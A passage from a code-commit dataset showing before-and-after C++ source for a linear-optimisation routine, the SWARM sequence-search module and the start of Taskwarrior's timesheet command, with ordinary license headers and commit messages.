AA.row(i) \/= upper[i];\n AA(i, A.cols()) -= T(1);\n }\n one[i] = T(1);\n assert(isfinite(AA.row(i).dot(AA.row(i))));\n if(A.rows() - 1 <= i) break;\n AA.row(i + A.rows()) = - AA.row(i);\n one[i + A.rows()] = T(1);\n }\n SimpleMatrix<T> Pt(AA.cols(), AA.rows());\n for(int i = 0; i < Pt.rows(); i ++)\n for(int j = 0; j < Pt.cols(); j ++)\n Pt(i, j) = T(0);\n std::vector<int> residue;\n for(int i = 0; i < AA.cols(); i ++) {\n const auto Atrowi(AA.col(i));\n const auto work(Atrowi - Pt.projectionPt(Atrowi));\n const auto n2(work.dot(work));\n if(n2 <= epsilon) {\n residue.emplace_back(i);\n continue;\n }\n Pt.row(i) = work \/ sqrt(n2);\n }\n int ii(0);\n for(int j = 0; j < Pt.cols() && ii < residue.size(); j ++) {\n SimpleVector<T> ek(Pt.cols());\n for(int k = 0; k < Pt.cols(); k ++)\n ek[k] = j == k ? T(1) : T(0);\n ek -= Pt.projectionPt(ek);\n const auto n2(ek.dot(ek));\n if(n2 <= epsilon) continue;\n Pt.row(residue[ii ++]) = ek \/ sqrt(n2);\n }\n assert(residue.size() <= ii);\n cerr << \"Q\" << flush;\n const auto R(Pt * AA);\n cerr << \"R\" << flush;\n const auto on(Pt.projectionPt(- one));\n for(int i = 0; i < on.size(); i ++)\n if(T(0) < on[i])\n fidx.emplace_back(std::make_pair(on[i], i));\n std::sort(fidx.begin(), fidx.end());\n \/\/ worst case O(mn^2) over all in this function,\n \/\/ we can make this function better case it's O(n^3) but not now.\n for(int n_fixed = 0, idx = 0; n_fixed < Pt.rows() - 1 && idx < fidx.size(); n_fixed ++, idx ++) {\n const auto& iidx(fidx[idx].second);\n const auto orth(Pt.col(iidx));\n const auto norm2orth(orth.dot(orth));\n \/\/ XXX error:\n if(norm2orth <= epsilon) {\n n_fixed --;\n continue;\n }\n#if defined(_OPENMP)\n#pragma omp parallel for schedule(static, 1)\n#endif\n for(int j = 0; j < Pt.cols(); j ++)\n Pt.setCol(j, Pt.col(j) - orth * (Pt.col(j).dot(orth) + T(n_fixed ? 0 : 1)) \/ norm2orth);\n }\n cerr << \"G\" << flush;\n#if defined(_WITHOUT_EIGEN_)\n auto rvec(- R.solve(Pt * one));\n#else\n auto rvec(- R.inverse() * (Pt * one));\n#endif\n cerr << \"I\" << flush;\n SimpleVector<T> rrvec(rvec.size() - 1);\n \/\/ | [A, - bb == - upper] [x t] | <= epsilon 1.\n for(int i = 0; i < rrvec.size(); i ++)\n rrvec[i] = rvec[i] \/ rvec[rvec.size() - 1];\n return rrvec;\n}\n\n#define _LINEAR_OPT_\n#endif\n\n<commit_msg>sign fix with logic fix.<commit_after>\/* You can use one of the both BSD 3-Clause License or GNU Lesser General Public License 3.0 for this source. *\/\n\/* BSD 3-Clause License:\n * Copyright (c) 2013 - 2021, kazunobu watatsu.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation or other materials provided with the distribution.\n * Neither the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#if !defined(_LINEAR_OPT_)\n\nusing std::cerr;\nusing std::flush;\n\ntemplate <typename T> SimpleVector<T> inner(const SimpleMatrix<T>& A, const SimpleVector<T>& bl, const SimpleVector<T>& bu) {\n#if defined(_FLOAT_BITS_)\n static const auto epsilon(T(1) >> int64_t(mybits - 1));\n#else\n static const auto epsilon(std::numeric_limits<T>::epsilon());\n#endif\n assert(A.rows() == bl.size() && A.rows() == bu.size() &&\n 0 < A.cols() && 0 < A.rows());\n \/\/ cout << A << endl << b << endl << c.transpose() << endl;\n cerr << \" (\" << A.rows() << \", \" << A.cols() << \")\";\n \/\/ bu - bb == A, bl - bb == - A <=> bu - bl == 2 A\n const auto bb(bu - (bu - bl) \/ T(2));\n const auto upper(bu - bb);\n SimpleMatrix<T> AA(A.rows() * 2 - 1, A.cols() + 1);\n SimpleVector<T> one(AA.rows());\n std::vector<std::pair<T, int> > fidx;\n fidx.reserve(A.rows());\n for(int i = 0; i < A.rows(); i ++) {\n for(int j = 0; j < A.cols(); j ++)\n AA(i, j) = A(i, j);\n AA(i, A.cols()) = bb[i];\n if(upper[i] == T(0)) {\n const auto n2(AA.row(i).dot(AA.row(i)));\n if(n2 != T(0)) {\n fidx.emplace_back(std::make_pair(- T(1), i));\n AA.row(i) \/= sqrt(n2);\n }\n } else {\n AA.row(i) \/= upper[i];\n \/\/ N.B. [A, [-b 1]] [x t] <= {0, 1}^m, t == 1 <=>\n \/\/ bl - bb t <= Ax - bb t <= bu - bb t.\n AA(i, A.cols()) -= T(1);\n }\n one[i] = T(1);\n assert(isfinite(AA.row(i).dot(AA.row(i))));\n if(A.rows() - 1 <= i) break;\n AA.row(i + A.rows()) = - AA.row(i);\n one[i + A.rows()] = - T(1);\n }\n SimpleMatrix<T> Pt(AA.cols(), AA.rows());\n for(int i = 0; i < Pt.rows(); i ++)\n for(int j = 0; j < Pt.cols(); j ++)\n Pt(i, j) = T(0);\n std::vector<int> residue;\n for(int i = 0; i < AA.cols(); i ++) {\n const auto Atrowi(AA.col(i));\n const auto work(Atrowi - Pt.projectionPt(Atrowi));\n const auto n2(work.dot(work));\n if(n2 <= epsilon) {\n residue.emplace_back(i);\n continue;\n }\n Pt.row(i) = work \/ sqrt(n2);\n }\n int ii(0);\n for(int j = 0; j < Pt.cols() && ii < residue.size(); j ++) {\n SimpleVector<T> ek(Pt.cols());\n for(int k = 0; k < Pt.cols(); k ++)\n ek[k] = j == k ? T(1) : T(0);\n ek -= Pt.projectionPt(ek);\n const auto n2(ek.dot(ek));\n if(n2 <= epsilon) continue;\n Pt.row(residue[ii ++]) = ek \/ sqrt(n2);\n }\n assert(residue.size() <= ii);\n cerr << \"Q\" << flush;\n const auto R(Pt * AA);\n cerr << \"R\" << flush;\n const auto on(Pt.projectionPt(- one));\n for(int i = 0; i < on.size(); i ++)\n if(T(0) < on[i])\n fidx.emplace_back(std::make_pair(on[i], i));\n std::sort(fidx.begin(), fidx.end());\n \/\/ worst case O(mn^2) over all in this function,\n \/\/ we can make this function better case it's O(n^3) but not now.\n for(int n_fixed = 0, idx = 0; n_fixed < Pt.rows() - 1 && idx < fidx.size(); n_fixed ++, idx ++) {\n const auto& iidx(fidx[idx].second);\n const auto orth(Pt.col(iidx));\n const auto norm2orth(orth.dot(orth));\n \/\/ XXX error:\n if(norm2orth <= epsilon) {\n n_fixed --;\n continue;\n }\n#if defined(_OPENMP)\n#pragma omp parallel for schedule(static, 1)\n#endif\n for(int j = 0; j < Pt.cols(); j ++)\n Pt.setCol(j, Pt.col(j) - orth * (Pt.col(j).dot(orth) + T(n_fixed ? 0 : 1)) \/ norm2orth);\n }\n cerr << \"G\" << flush;\n#if defined(_WITHOUT_EIGEN_)\n auto rvec(- R.solve(Pt * one));\n#else\n auto rvec(- R.inverse() * (Pt * one));\n#endif\n cerr << \"I\" << flush;\n SimpleVector<T> rrvec(rvec.size() - 1);\n \/\/ | [A, - bb == - upper] [x t] | <= epsilon 1.\n for(int i = 0; i < rrvec.size(); i ++)\n rrvec[i] = rvec[i] \/ rvec[rvec.size() - 1];\n return rrvec;\n}\n\n#define _LINEAR_OPT_\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n SWARM\n\n Copyright (C) 2012-2022 Torbjorn Rognes and Frederic Mahe\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as\n published by the Free Software Foundation, either version 3 of the\n License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n Contact: Torbjorn Rognes <torognes@ifi.uio.no>,\n Department of Informatics, University of Oslo,\n PO Box 1080 Blindern, NO-0316 Oslo, Norway\n*\/\n\n#include \"swarm.h\"\n#include \"db.h\"\n#include \"threads.h\"\n\n\nstatic pthread_mutex_t scan_mutex;\n\nstatic ThreadRunner * search_threads = nullptr;\n\nstruct search_data\n{\n BYTE ** qtable;\n WORD ** qtable_w;\n\n BYTE * dprofile;\n WORD * dprofile_w;\n\n BYTE * hearray;\n\n uint64_t * dir_array;\n\n uint64_t target_count;\n uint64_t target_index;\n};\n\nstatic struct search_data * sd;\nstatic uint64_t master_next;\nstatic uint64_t master_length;\nstatic uint64_t remainingchunks;\nstatic uint64_t * master_targets;\nstatic uint64_t * master_scores;\nstatic uint64_t * master_diffs;\nstatic uint64_t * master_alignlengths;\nstatic int master_bits;\nstatic uint64_t dirbufferbytes;\n\nqueryinfo_t query;\nuint64_t longestdbsequence;\n\nvoid search_alloc(struct search_data * sdp);\nvoid search_free(struct search_data * sdp);\nvoid search_init(struct search_data * sdp);\nvoid search_chunk(struct search_data * sdp, int64_t bits);\nauto search_getwork(uint64_t * countref, uint64_t * firstref) -> bool;\nvoid search_worker_core(int64_t t);\nauto search_worker(void * vp) -> void *;\n\nvoid search_alloc(struct search_data * sdp)\n{\n constexpr unsigned int one_kilobyte {1024};\n constexpr unsigned int nt_per_uint64 {32};\n constexpr unsigned int bytes_per_uint64 {8};\n\n dirbufferbytes =\n bytes_per_uint64 * longestdbsequence * ((longestdbsequence + 3) \/ 4) * 4;\n sdp->qtable = static_cast<BYTE**>\n (xmalloc(longestdbsequence * sizeof(BYTE*)));\n sdp->qtable_w = static_cast<WORD**>\n (xmalloc(longestdbsequence * sizeof(WORD*)));\n sdp->dprofile = static_cast<BYTE*>\n (xmalloc(2 * one_kilobyte)); \/\/ 4 * 16 * 32\n sdp->dprofile_w = static_cast<WORD*>\n (xmalloc(2 * one_kilobyte)); \/\/ 4 * 2 * 8 * 32\n sdp->hearray = static_cast<BYTE*>\n (xmalloc(longestdbsequence * nt_per_uint64));\n sdp->dir_array = static_cast<uint64_t *>\n (xmalloc(dirbufferbytes));\n\n memset(sdp->hearray, 0, longestdbsequence * nt_per_uint64);\n memset(sdp->dir_array, 0, dirbufferbytes);\n}\n\nvoid search_free(struct search_data * sdp)\n{\n xfree(sdp->qtable);\n xfree(sdp->qtable_w);\n xfree(sdp->dprofile);\n xfree(sdp->dprofile_w);\n xfree(sdp->hearray);\n xfree(sdp->dir_array);\n}\n\nvoid search_init(struct search_data * sdp)\n{\n constexpr int byte_multiplier {64};\n constexpr int word_multiplier {32};\n\n for(auto i = 0U; i < query.len; i++)\n {\n int nt_value {nt_extract(query.seq, i) + 1}; \/\/ 1, 2, 3, or 4\n int byte_offset {byte_multiplier * nt_value}; \/\/ 1, 64, 128, or 192\n int word_offset {word_multiplier * nt_value}; \/\/ 1, 32, 64, or 128\n\n sdp->qtable[i] = sdp->dprofile + byte_offset;\n sdp->qtable_w[i] = sdp->dprofile_w + word_offset;\n }\n}\n\nvoid search_chunk(struct search_data * sdp, int64_t bits)\n{\n constexpr unsigned int bit_mode_16 {16};\n if (sdp->target_count == 0) {\n return;\n }\n\n#if 0\n\n for(auto i = 0ULL; i < sdp->target_count; i++)\n {\n char * dseq;\n unsigned int dlen;\n char * nwalignment;\n\n uint64_t seqno = master_targets[sdp->target_index + i];\n db_getsequenceandlength(seqno, & dseq, & dlen);\n\n nw(dseq, dlen,\n query.seq, query.len,\n score_matrix_63,\n penalty_gapopen, penalty_gapextend,\n (int64_t *)(master_scores) + sdp->target_index + i,\n (int64_t *)(master_diffs) + sdp->target_index + i,\n (int64_t *)(master_alignlengths) + sdp->target_index + i,\n & nwalignment,\n (unsigned char *) sdp->dir_array,\n (int64_t *) sdp->hearray,\n query.qno, seqno);\n\n#if 0\n printf(\"\\nAlignment: %s\\n\", nwalignment);\n#endif\n\n xfree(nwalignment);\n }\n\n return;\n\n#endif\n\n if (bits == bit_mode_16)\n {\n search16(sdp->qtable_w,\n static_cast<WORD>(penalty_gapopen),\n static_cast<WORD>(penalty_gapextend),\n static_cast<WORD*>(score_matrix_16),\n sdp->dprofile_w,\n reinterpret_cast<WORD*>(sdp->hearray),\n sdp->target_count,\n master_targets + sdp->target_index,\n master_scores + sdp->target_index,\n master_diffs + sdp->target_index,\n master_alignlengths + sdp->target_index,\n static_cast<uint64_t>(query.len),\n dirbufferbytes \/ sizeof(uint64_t),\n sdp->dir_array);\n }\n else {\n search8(sdp->qtable,\n static_cast<BYTE>(penalty_gapopen),\n static_cast<BYTE>(penalty_gapextend),\n static_cast<BYTE*>(score_matrix_8),\n sdp->dprofile,\n sdp->hearray,\n sdp->target_count,\n master_targets + sdp->target_index,\n master_scores + sdp->target_index,\n master_diffs + sdp->target_index,\n master_alignlengths + sdp->target_index,\n static_cast<uint64_t>(query.len),\n dirbufferbytes \/ sizeof(uint64_t),\n sdp->dir_array);\n }\n}\n\nauto search_getwork(uint64_t * countref, uint64_t * firstref) -> bool\n{\n \/\/ * countref = how many sequences to search\n \/\/ * firstref = index into master_targets\/scores\/diffs where thread should start\n\n bool status {false};\n\n pthread_mutex_lock(&scan_mutex);\n\n if (master_next < master_length)\n {\n uint64_t chunksize =\n ((master_length - master_next + remainingchunks - 1) \/ remainingchunks);\n\n * countref = chunksize;\n * firstref = master_next;\n\n master_next += chunksize;\n remainingchunks--;\n status = true;\n }\n\n pthread_mutex_unlock(&scan_mutex);\n\n return status;\n}\n\n#if 0\n\n\/* never used *\/\n\nvoid master_dump()\n{\n printf(\"master_dump\\n\");\n printf(\" i t s d\\n\");\n for(auto i = 0ULL; i < 1403; i++)\n {\n printf(\"%4\" PRIu64 \" %4\" PRIu64 \" %4\" PRIu64 \" %4\" PRIu64 \"\\n\",\n i, master_targets[i], master_scores[i], master_diffs[i]);\n }\n}\n\n#endif\n\nvoid search_worker_core(int64_t t)\n{\n search_init(sd + t);\n while(search_getwork(& sd[t].target_count, & sd[t].target_index)) {\n search_chunk(sd + t, master_bits);\n }\n}\n\nvoid search_do(uint64_t query_no,\n uint64_t listlength,\n uint64_t * targets,\n uint64_t * scores,\n uint64_t * diffs,\n uint64_t * alignlengths,\n int bits)\n{\n \/\/ constexpr unsigned int bit_mode_16 {16};\n constexpr unsigned int channels_8 {8};\n constexpr unsigned int bit_mode_8 {8};\n constexpr unsigned int channels_16 {16};\n query.qno = query_no;\n unsigned int query_len = 0;\n db_getsequenceandlength(query_no, &query.seq, &query_len);\n query.len = query_len;\n\n master_next = 0;\n master_length = listlength;\n master_targets = targets;\n master_scores = scores;\n master_diffs = diffs;\n master_alignlengths = alignlengths;\n master_bits = bits;\n\n auto thr = static_cast<uint64_t>(opt_threads);\n\n if (bits == bit_mode_8)\n {\n if (master_length <= (channels_16 - 1) * thr) {\n thr = (master_length + channels_16 - 1) \/ channels_16;\n }\n }\n else\n {\n if (master_length <= (channels_8 - 1) * thr) {\n thr = (master_length + channels_8 - 1) \/ channels_8;\n }\n }\n\n remainingchunks = thr;\n\n if (thr == 1) {\n search_worker_core(0);\n }\n else {\n search_threads->run();\n }\n}\n\nvoid search_begin()\n{\n longestdbsequence = db_getlongestsequence();\n\n sd = static_cast<struct search_data *>\n (xmalloc(sizeof(search_data) * static_cast<uint64_t>(opt_threads)));\n\n for(auto t = 0LL; t < opt_threads; t++) {\n search_alloc(sd+t);\n }\n\n pthread_mutex_init(& scan_mutex, nullptr);\n\n \/* start threads *\/\n\n search_threads\n = new ThreadRunner(static_cast<int>(opt_threads), search_worker_core);\n}\n\nvoid search_end()\n{\n \/* finish and clean up worker threads *\/\n\n delete search_threads;\n\n pthread_mutex_destroy(& scan_mutex);\n\n for(auto t = 0LL; t < opt_threads; t++) {\n search_free(sd+t);\n }\n xfree(sd);\n}\n<commit_msg>remove debugging function<commit_after>\/*\n SWARM\n\n Copyright (C) 2012-2022 Torbjorn Rognes and Frederic Mahe\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as\n published by the Free Software Foundation, either version 3 of the\n License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n Contact: Torbjorn Rognes <torognes@ifi.uio.no>,\n Department of Informatics, University of Oslo,\n PO Box 1080 Blindern, NO-0316 Oslo, Norway\n*\/\n\n#include \"swarm.h\"\n#include \"db.h\"\n#include \"threads.h\"\n\n\nstatic pthread_mutex_t scan_mutex;\n\nstatic ThreadRunner * search_threads = nullptr;\n\nstruct search_data\n{\n BYTE ** qtable;\n WORD ** qtable_w;\n\n BYTE * dprofile;\n WORD * dprofile_w;\n\n BYTE * hearray;\n\n uint64_t * dir_array;\n\n uint64_t target_count;\n uint64_t target_index;\n};\n\nstatic struct search_data * sd;\nstatic uint64_t master_next;\nstatic uint64_t master_length;\nstatic uint64_t remainingchunks;\nstatic uint64_t * master_targets;\nstatic uint64_t * master_scores;\nstatic uint64_t * master_diffs;\nstatic uint64_t * master_alignlengths;\nstatic int master_bits;\nstatic uint64_t dirbufferbytes;\n\nqueryinfo_t query;\nuint64_t longestdbsequence;\n\nvoid search_alloc(struct search_data * sdp);\nvoid search_free(struct search_data * sdp);\nvoid search_init(struct search_data * sdp);\nvoid search_chunk(struct search_data * sdp, int64_t bits);\nauto search_getwork(uint64_t * countref, uint64_t * firstref) -> bool;\nvoid search_worker_core(int64_t t);\nauto search_worker(void * vp) -> void *;\n\nvoid search_alloc(struct search_data * sdp)\n{\n constexpr unsigned int one_kilobyte {1024};\n constexpr unsigned int nt_per_uint64 {32};\n constexpr unsigned int bytes_per_uint64 {8};\n\n dirbufferbytes =\n bytes_per_uint64 * longestdbsequence * ((longestdbsequence + 3) \/ 4) * 4;\n sdp->qtable = static_cast<BYTE**>\n (xmalloc(longestdbsequence * sizeof(BYTE*)));\n sdp->qtable_w = static_cast<WORD**>\n (xmalloc(longestdbsequence * sizeof(WORD*)));\n sdp->dprofile = static_cast<BYTE*>\n (xmalloc(2 * one_kilobyte)); \/\/ 4 * 16 * 32\n sdp->dprofile_w = static_cast<WORD*>\n (xmalloc(2 * one_kilobyte)); \/\/ 4 * 2 * 8 * 32\n sdp->hearray = static_cast<BYTE*>\n (xmalloc(longestdbsequence * nt_per_uint64));\n sdp->dir_array = static_cast<uint64_t *>\n (xmalloc(dirbufferbytes));\n\n memset(sdp->hearray, 0, longestdbsequence * nt_per_uint64);\n memset(sdp->dir_array, 0, dirbufferbytes);\n}\n\nvoid search_free(struct search_data * sdp)\n{\n xfree(sdp->qtable);\n xfree(sdp->qtable_w);\n xfree(sdp->dprofile);\n xfree(sdp->dprofile_w);\n xfree(sdp->hearray);\n xfree(sdp->dir_array);\n}\n\nvoid search_init(struct search_data * sdp)\n{\n constexpr int byte_multiplier {64};\n constexpr int word_multiplier {32};\n\n for(auto i = 0U; i < query.len; i++)\n {\n int nt_value {nt_extract(query.seq, i) + 1}; \/\/ 1, 2, 3, or 4\n int byte_offset {byte_multiplier * nt_value}; \/\/ 1, 64, 128, or 192\n int word_offset {word_multiplier * nt_value}; \/\/ 1, 32, 64, or 128\n\n sdp->qtable[i] = sdp->dprofile + byte_offset;\n sdp->qtable_w[i] = sdp->dprofile_w + word_offset;\n }\n}\n\nvoid search_chunk(struct search_data * sdp, int64_t bits)\n{\n constexpr unsigned int bit_mode_16 {16};\n if (sdp->target_count == 0) {\n return;\n }\n\n#if 0\n\n for(auto i = 0ULL; i < sdp->target_count; i++)\n {\n char * dseq;\n unsigned int dlen;\n char * nwalignment;\n\n uint64_t seqno = master_targets[sdp->target_index + i];\n db_getsequenceandlength(seqno, & dseq, & dlen);\n\n nw(dseq, dlen,\n query.seq, query.len,\n score_matrix_63,\n penalty_gapopen, penalty_gapextend,\n (int64_t *)(master_scores) + sdp->target_index + i,\n (int64_t *)(master_diffs) + sdp->target_index + i,\n (int64_t *)(master_alignlengths) + sdp->target_index + i,\n & nwalignment,\n (unsigned char *) sdp->dir_array,\n (int64_t *) sdp->hearray,\n query.qno, seqno);\n\n#if 0\n printf(\"\\nAlignment: %s\\n\", nwalignment);\n#endif\n\n xfree(nwalignment);\n }\n\n return;\n\n#endif\n\n if (bits == bit_mode_16)\n {\n search16(sdp->qtable_w,\n static_cast<WORD>(penalty_gapopen),\n static_cast<WORD>(penalty_gapextend),\n static_cast<WORD*>(score_matrix_16),\n sdp->dprofile_w,\n reinterpret_cast<WORD*>(sdp->hearray),\n sdp->target_count,\n master_targets + sdp->target_index,\n master_scores + sdp->target_index,\n master_diffs + sdp->target_index,\n master_alignlengths + sdp->target_index,\n static_cast<uint64_t>(query.len),\n dirbufferbytes \/ sizeof(uint64_t),\n sdp->dir_array);\n }\n else {\n search8(sdp->qtable,\n static_cast<BYTE>(penalty_gapopen),\n static_cast<BYTE>(penalty_gapextend),\n static_cast<BYTE*>(score_matrix_8),\n sdp->dprofile,\n sdp->hearray,\n sdp->target_count,\n master_targets + sdp->target_index,\n master_scores + sdp->target_index,\n master_diffs + sdp->target_index,\n master_alignlengths + sdp->target_index,\n static_cast<uint64_t>(query.len),\n dirbufferbytes \/ sizeof(uint64_t),\n sdp->dir_array);\n }\n}\n\nauto search_getwork(uint64_t * countref, uint64_t * firstref) -> bool\n{\n \/\/ * countref = how many sequences to search\n \/\/ * firstref = index into master_targets\/scores\/diffs where thread should start\n\n bool status {false};\n\n pthread_mutex_lock(&scan_mutex);\n\n if (master_next < master_length)\n {\n uint64_t chunksize =\n ((master_length - master_next + remainingchunks - 1) \/ remainingchunks);\n\n * countref = chunksize;\n * firstref = master_next;\n\n master_next += chunksize;\n remainingchunks--;\n status = true;\n }\n\n pthread_mutex_unlock(&scan_mutex);\n\n return status;\n}\n\nvoid search_worker_core(int64_t t)\n{\n search_init(sd + t);\n while(search_getwork(& sd[t].target_count, & sd[t].target_index)) {\n search_chunk(sd + t, master_bits);\n }\n}\n\nvoid search_do(uint64_t query_no,\n uint64_t listlength,\n uint64_t * targets,\n uint64_t * scores,\n uint64_t * diffs,\n uint64_t * alignlengths,\n int bits)\n{\n \/\/ constexpr unsigned int bit_mode_16 {16};\n constexpr unsigned int channels_8 {8};\n constexpr unsigned int bit_mode_8 {8};\n constexpr unsigned int channels_16 {16};\n query.qno = query_no;\n unsigned int query_len = 0;\n db_getsequenceandlength(query_no, &query.seq, &query_len);\n query.len = query_len;\n\n master_next = 0;\n master_length = listlength;\n master_targets = targets;\n master_scores = scores;\n master_diffs = diffs;\n master_alignlengths = alignlengths;\n master_bits = bits;\n\n auto thr = static_cast<uint64_t>(opt_threads);\n\n if (bits == bit_mode_8)\n {\n if (master_length <= (channels_16 - 1) * thr) {\n thr = (master_length + channels_16 - 1) \/ channels_16;\n }\n }\n else\n {\n if (master_length <= (channels_8 - 1) * thr) {\n thr = (master_length + channels_8 - 1) \/ channels_8;\n }\n }\n\n remainingchunks = thr;\n\n if (thr == 1) {\n search_worker_core(0);\n }\n else {\n search_threads->run();\n }\n}\n\nvoid search_begin()\n{\n longestdbsequence = db_getlongestsequence();\n\n sd = static_cast<struct search_data *>\n (xmalloc(sizeof(search_data) * static_cast<uint64_t>(opt_threads)));\n\n for(auto t = 0LL; t < opt_threads; t++) {\n search_alloc(sd+t);\n }\n\n pthread_mutex_init(& scan_mutex, nullptr);\n\n \/* start threads *\/\n\n search_threads\n = new ThreadRunner(static_cast<int>(opt_threads), search_worker_core);\n}\n\nvoid search_end()\n{\n \/* finish and clean up worker threads *\/\n\n delete search_threads;\n\n pthread_mutex_destroy(& scan_mutex);\n\n for(auto t = 0LL; t < opt_threads; t++) {\n search_free(sd+t);\n }\n xfree(sd);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2006 - 2015, Paul Beckingham, Federico Hernandez.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <cmake.h>\n#include <sstream>\n#include <stdlib.h>\n#include <Context.h>\n#include <ViewText.h>\n#include <Date.h>\n#include <main.h>\n#include <i18n.h>\n#include <text.h>\n#include <CmdTimesheet.h>\n\nextern Context context;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nCmdTimesheet::CmdTimesheet ()\n{\n _keyword = \"timesheet\";\n _usage = \"task timesheet [weeks]\";\n _description = STRING_CMD_TIMESHEET_USAGE;\n _read_only = true;\n _displays_id = false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint CmdTimesheet::execute (std::string& output)\n{\n int rc = 0;\n\n \/\/ Scan the pending tasks.\n handleRecurrence ();\n std::vector <Task> all = context.tdb2.all_tasks ();\n\n \/\/ What day of the week does the user consider the first?\n int weekStart = Date::dayOfWeek (context.config.get (\"weekstart\"));\n if (weekStart != 0 && weekStart != 1)\n throw std::string (STRING_DATE_BAD_WEEKSTART);\n\n \/\/ Determine the date of the first day of the most recent report.\n Date today;\n Date start;\n start -= (((today.dayOfWeek () - weekStart) + 7) % 7) * 86400;\n\n \/\/ Roll back to midnight.\n start = Date (start.month (), start.day (), start.year ());\n Date end = start + (7 * 86400);\n\n \/\/ Determine how many reports to run.\n int quantity = 1;\n std::vector <std::string> words = context.cli.getWords ();\n if (words.size () == 1)\n quantity = strtol (words[0].c_str (), NULL, 10);;\n\n std::stringstream out;\n for (int week = 0; week < quantity; ++week)\n {\n Date endString (end);\n endString -= 86400;\n\n std::string title = start.toString (context.config.get (\"dateformat\"))\n + \" - \"\n + endString.toString (context.config.get (\"dateformat\"));\n\n Color bold (Color::nocolor, Color::nocolor, false, true, false);\n out << \"\\n\"\n << (context.color () ? bold.colorize (title) : title)\n << \"\\n\";\n\n \/\/ Render the completed table.\n ViewText completed;\n completed.width (context.getWidth ());\n completed.add (Column::factory (\"string\", \" \"));\n completed.add (Column::factory (\"string\", STRING_COLUMN_LABEL_PROJECT));\n completed.add (Column::factory (\"string.right\", STRING_COLUMN_LABEL_DUE));\n completed.add (Column::factory (\"string\", STRING_COLUMN_LABEL_DESC));\n\n Color 